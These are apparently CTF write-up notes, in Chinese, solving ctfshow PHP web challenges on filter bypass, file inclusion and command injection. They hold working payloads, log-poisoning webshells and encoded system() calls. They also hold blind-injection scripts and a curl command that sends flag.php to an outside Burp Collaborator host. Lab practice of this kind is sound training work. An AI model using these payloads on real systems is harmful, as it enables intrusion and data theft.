    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

payload

通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? *#可能存在成功的机会,不断刷新*

web124

<?php

/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-06 14:04:45

*/

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

不能有特殊字符,不能有除whitelist里面的字母,大概思路就是利用进制转换以数字构造字母
题中可用的进制转换函数:'base_convert', 'bindec','decbin', 'dechex', 'decoct'

$_GET[abs]($_GET[acos])		//strlen($content) >= 80,有长度限制,所以利用get命令执行
↓
$_GET{abs}($_GET{acos})		//[]在黑名单,用{}代替
↓
$pi=_GET;$$pi{abs}($$pi{acos})
↓
进制转换
base_convert(number,frombase,tobase):在任意进制之间转换数字
dechex():把十进制数转换为十六进制数
hex2bin():把十六进制值的字符串转换为二进制,返回 ASCII 字符
最重要的是hex2bin函数,但是不在白名单里面

base_convert构造hex2bin(我想用base_convert直接转_GET,但是只能得到get)
base_convert('hex2bin',36,10)	→	37907361743
_GET	→  hex十六进制 5f474554 (不能有字母所以十六进制不行) →  dec十进制 1598506324	(在线转换)

所以_GET可以写为
hex2bin(dechex(1598506324))
↓
base_convert('37907361743',10,36)(dechex(1598506324))

最后的payload
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=ls
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat *

payload1:

?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1}) 
添加头部信息:1=tac flag.php

payload2:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php

文件包含

web78

payload

file=php://filter/convert.base64-encode/resource=flag.php

web79

题目:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

将php替换成了???,考虑使用data协议进行base64解码。
payload

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

web80

题目:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

data也禁用了,尝试日志注入攻击。
日志的位置,/var/log/nginx/access.log。
在user-agent的位置,首先<?php system('ls');?>,列出来文件。
之后读目标文件,<?php system('cat fl0g.php'); ?>

还可以直接写马

web81

题目:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}

过滤了php、data、:,尝试上题方法,
同上题

web87

https://xz.aliyun.com/t/8163#toc-3

利用php://filter的编码来使结束的代码失效

web88

data协议

data://text/plain;base64,poc

file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwqJyk7

web117

还是利用php://filter的编码来使结束的代码失效

**convert.iconv.**这个过滤器还是用的。

ucs-2 和ucs-4都能用。

ucs-2 二位一反转,字符个数要在偶数位上,ucs-4 四位一反转,字符个数要是4的倍数。位数好控制,参数改改长度就行了。

image-20220505200136309

 file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php 
post:contents=?<hp pvela$(P_SO[T]1;)>?

image-20220505200318190

php特性

web89

数组绕过

image-20220505200639134

intval()–非空的数组会返回1,可以采用数组绕过intval()函数

preg_match()

返回的匹配次数,不匹配为0,匹配成功1次即为1,然后停止搜索,该函数只会匹配一行,可以%0a换行绕过

preg_match_all()不同于此,它会一直搜索 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

web90

image-20220505200839032

加个大于号,或者转成八进制,十六进制

intval支持不同进制,这里base指定是0,那么intval会根据我们输入情况使用进制

intval取的是我们所输入内容开头的整数,也就是说我们传入含有字符的字符串,例如?num=4476a,那么intval(“4476a”)也等于4476

web91

/m 表示多行匹配,匹配换行符两端的潜在匹配。影响正则中的^$符号

多行匹配可以通过%0a(回车键)绕过

image-20220505201235224

web92

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

进制转换或者用e来当作科学计数法

web93

过滤了字母,用八进制

web94

strpos($num, “0”)

strpos()函数的理解:该函数是从我们传入的参数num中,寻找并匹配数字0,第一位匹配正确返回0,第二位匹配正确返回1,以后递推,所以在题中即为只要匹配到,输出就为true,取反就为false.所以可以通过除了第一位其他位出现0的方法让if条件为假。该函数并不是只匹配一行数据。回车后匹配仍有效。可以通过?num=%0a4476绕过

只要0不在第一位就行(但是必须有,所以可以用八进制带加号+010574,或者放在小数点上

image-20220505202027037

web95

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

第一个if是弱比较,只能进制转换

后边的strpos可以需要在转换了进制的数字前加点不影响大小的东西比如回车换行空格加号

image-20220505202339569

web96

image-20220505203100601

相对路径绕过

或者伪协议

web97

image-20220505203319823

md5函数不能处理数组,会返回null

web98

https://www.php.cn/php-notebook-172859.html

https://www.php.cn/php-weizijiaocheng-383293.html

include("flag.php");#本php文档包含了一个flag.php文件,是我们想要的flag
$_GET?$_GET=&$_POST:'flag';#$_GET存在,则_GET=&$_POST否则$_GET值为'flag‘
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';#中间两行代码看起来貌似没用
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);#如果get传参了HTTP_FLAG=flag,就highlight_file($flag)

image-20220505204205363

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

in_array()
in_array(search,array,type)

search—必须,规定在数组中搜索的值

array—必需,规定搜索的数组

type—可选,如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。

如果设置了第三个参数,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。

而题中没有设置,这里可以默认没有设置,即只是弱类型匹配

利用了in_array的弱类型比较,

image-20220505205056630

image-20220505205136351

web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

这里要看运算优先级

逻辑运算符>逻辑运算(赋值)>and、or

v0的取值只和v1有关。v1参数为数字,没有其他限制,但是v2不能有;标志,v3必须有;

image-20220505205701221

web101

image-20220505210313073

利用反射类读

web102-103

call_user_func()

把第一个参数作为回调参数调用

本题中要求v2是数字,然后通过substr函数截取v2的第三位开始的数据,及以后的数据。v1、v3题中没有限制,

is_numerc()

该函数在php5版本下有漏洞,可以识别十六进制,所以可以将一句话木马写作十六进制的格式

故构造v2=(<?php eval($_REQUEST[a]);?>)

v2=3c3f706870206576616c28245f524551554553545b615d293b3f3e

v1可以利用hex2bin()函数来进行把十六进制字符转换成ASCII字符,即我们想要的一句话木马。

image-20220505210803363

payload

get:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

post:
v1=hex2bin

web103过滤了php但是这里的v2用的是短标签

web104

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

可以用数组绕过,也可以找个前几位数字一样的

web105

image-20220505212724685

变量覆盖,get suces=flag后

$suces=$flag

post error=suces后

$error=$suces

也就是$error=$flag,在经过if判断的时候通过die函数就会显示flag

web106

image-20220505213442076

跟104差不多

web107

image-20220505214133528

整点空数组绕过(虽然上边这个有点问题,但是过了就行

image-20220505214920530

image-20220505214149572

还有其他的方法

image-20220505214423673

image-20220505214535301

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

ereg()

正则匹配的一种,存在NULL截断漏洞,导致正则过滤被绕过,可以使用%00截断正则匹配

strrev()

字符串逆序,0x36d十进制为877,逆序即为778

故可以构建payload

web109

image-20220505215746759

当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo显示
即使传入了空的括号,代码依旧可以运行,且error_reporting(0)的存在阻止了报错

web110

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

利用原生类FilesystemIterator配合getcwd来读文件目录,然后直接访问就行了

image-20220506180313118

web111

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}

利用变量覆盖让$ctfshow=全局变量

image-20220506180100307

web112

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

filter协议直接读,或者用一些没被过滤的编码

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

web113

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";

filter被禁了,可以换一个

image-20220506174743375

或这利用多次重复绕过is_file的判断

linux里/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容

payload:
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

web114

image-20220506180821666

不带编码的filter

web115

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

在不影响数字类型的前提下能加的字符除了数字和+-.号以外还有 %09 %0a %0b %0c %0d %20,trim过滤了 %09 %0a %0b %0d %20,所以只剩下%0c换页符了

payload:

num=%0c36

web123

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格+ . [转换为_

所以我们没有办法post CTF_SHOW.COM进去

这里就用到了php变量名特性绕过

在变量名中出现了[的话,在get、post传参中,[就会被替换成_,然后其后的字母不会发生变化,CTF[SHOW.COM=>CTF_SHOW.COM

然后直接输出flag变量

image-20220506183011845

再来几个其他的

CTF_SHOW=1&CTF[SHOW.COM=1&fun=var_export($GLOBALS)读取全局变量

image-20220506183352375

payload:
get:  $fl0g=flag_give_me;
post:  CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])

这种就是在eval里执行这个赋值语句$fl0g=flag_give_me;就能满足后边的判断输出flag

下面这个是预期解

image-20220506183835525

image-20220506184715179

web125

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

可以用123的预期解

或者包含一下

image-20220506185355334

web126

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

123的预期解还是能用,或者是

?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])//就是用assert替换eval

web127

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;

下划线被过滤了,可以用空格代替

payload

?ctf show=ilove36d

web128

_()是一个函数

_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll

当php开启了gettext扩展后,可以绕过字母

echo gettext(phpinfo());===echo _(phpinfo());

get_defined_vars()

get_defined_vars — 返回由所有已定义变量所组成的数组

image-20220506200639084

web129

f=../ctfshow/../html/flag.php

目录穿越

web130

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

利用preg_match的回溯限制,如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。

也可以用数组绕过

第二个正则匹配是强等于,类型必须相同

采用数组绕过的方法,stripos函数会返回null,null!=false,所以可以绕过stripos函数

web131

跟web132差不多,就是不知道为什么不能数组绕过,只能利用最大回溯了

web132


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

让if为真只要让username=admin就行

web133

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}
get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行  ``$F `;sleep 3` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3

然后因为没有回显,可以通过curl外带来查看
这里可以用bp也可以用vps
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)

image-20220506205540822

image-20220506205559475

image-20220506205834293

?F=`$F`;+curl -X POST -F xx=@flag.php  http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件 

还可以利用cp命令将flag.php里的内容复制到一个txt内,然后直接访问

`$F` ;cp flag.php 1234.txt

还可以dnslog外带

image-20220507181310310

web134

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

不能传入key1,key2,可以利用extract的变量覆盖绕过

$_SERVER[‘QUERY_STRING’]
获取查询语句,实例中可知,获取的是?后面的值,只有get请求

extract()
该函数是将数组中的值依次复制给$键=值

parse_string()
将字符串解析到变量中

如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

payload:

?_POST[key1]=36d&_POST[key2]=36d

web135

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}
  • nl,cat,tac,more,less,tail等都可以读文件
  • awk加上NR参数可以读取指定行数,记得加引号
  • tr -cd 后面可以加正则表达式

用ping的话建议用dnslog.cn别用ceye.io,因为ceye给的域名在ping的时候会显示找不到主机,没法成功ping

而且只要这个payload才能成功

F=`$F`; ping `nl flag.php|awk '/flag/'| tr -cd "[a-z]"/"[0-9]"`.klj10h.dnslog.cn -c 1

这里直接nl带不出来可能是因为内容太多了,但是awk后边的flag换成ctfshow也出不了我不太清楚为什么

可以用下边这个命令查看目录

printf '%s' *

web136

error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
} 

exec无回显

要尝试将命令的结果输入到一个文件中

在没有>的前提下可以利用tee命令

tee file //覆盖

tee -a file //追加

tee - //输出到标准输出两次

tee --//输出到标准输出三次

tee file1 file2 // 输出到标准输出两次,并写到那两个文件中

ls | tee file

所以payload:

ls /|tee a
nl /f149_15_h3r3|tee a

web137

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']);

考察调用类中的函数
双冒号可以不用实例化类就可以直接调用类中的方法

ctfshow=ctfshow::getFlag
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

web138

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']); 

call_user_func()可以传数组

image-20220507210208231

payload

ctfshow[]=ctfshow&ctfshow[]=getFlag

web139

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

虽然看起来和136差不多,但是没了写文件的权限

盲打看起来有些离谱

放一下脚本吧就(不实践了,跑脚本也不需要啥技术

获取文件名的脚本:

import requests
import time
import string
str=string.ascii_letters+string.digits	#生成所有字母与数字[a-zA-Z0-9]
result=""
for i in range(1,5):
	key=0
	for j in range(1,15):
		if key==1:
			break
		for n in str:
			payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
			#print(payload)
			url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
			try:
				requests.get(url,timeout=(2.5,2.5))
			except:
			    result=result+n
			    print(result)
			    break
			if n=='9':
				key=1
	result+=" "

猜解文件内容的脚本:

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"#获取小写字母与数字
result=""
key=0
for j in range(1,45):
	print(j)
	if key==1:
		break
	for n in str:
		payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
		#print(payload)
		url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
		try:
			requests.get(url,timeout=(2.5,2.5))	#time()第一个参数是响应时间,第二个是读取时间
		except:
		    result=result+n
		    print(result)
		    break

一些分析

用awk命令、cut命令截取字符
sleep命令确认是否正确

awk NR==2 获取第二行信息
cut -c 1  截取第1个字符

zsh下if语句的格式:
 if [[condition]] {command
} elif {
} else {
}

web140

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

php的弱比较

在这里插入图片描述

intval会将非数字字符转换为0

而0==“字符串”为真

所以只要让等号右边的玩意是字符串就行了

md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd())     因为/var/www/html md5后开头的数字所以我们改用sha1

web141

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

/^\W+$/用于匹配非数字字母下划线的字符

这里只要求v1v2是数字就行,而在PHP中

数字可以和命令进行一些运算,比如1-phpinfo()-1输出的还是phpinfo()
所以这里可以1-system('tac f*')-1
构造的话或、取反或者异或都行

image-20220507213624723

v1=1&v2=2&v3=-("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"^"%60%60%60%20%60%60%60%60%2e%60%60%60")-
 //system('cat flag.php')

web142

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

直接让v1=0或0x0

web143

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

取反被过滤了,还可以用异或,减号可以用乘号替换,唯一的问题是在payload里不要有这些过滤了的字符的url编码,比如%2e

用%02^%2c来代表.

payload

v1=1&v2=2&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%02%10%08%10"^"%60%60%60%20%60%60%60%60%2c%60%60%60")*

web144

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

v2和v3换换顺序

?v1=1&v3=2&v2=-("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"^"%60%60%60%20%60%60%60%60%2e%60%60%60")

web145

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

可以用取反,然后利用三目运算来替代过滤了的加减乘除

payload

?v1=1&v2=2&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F):

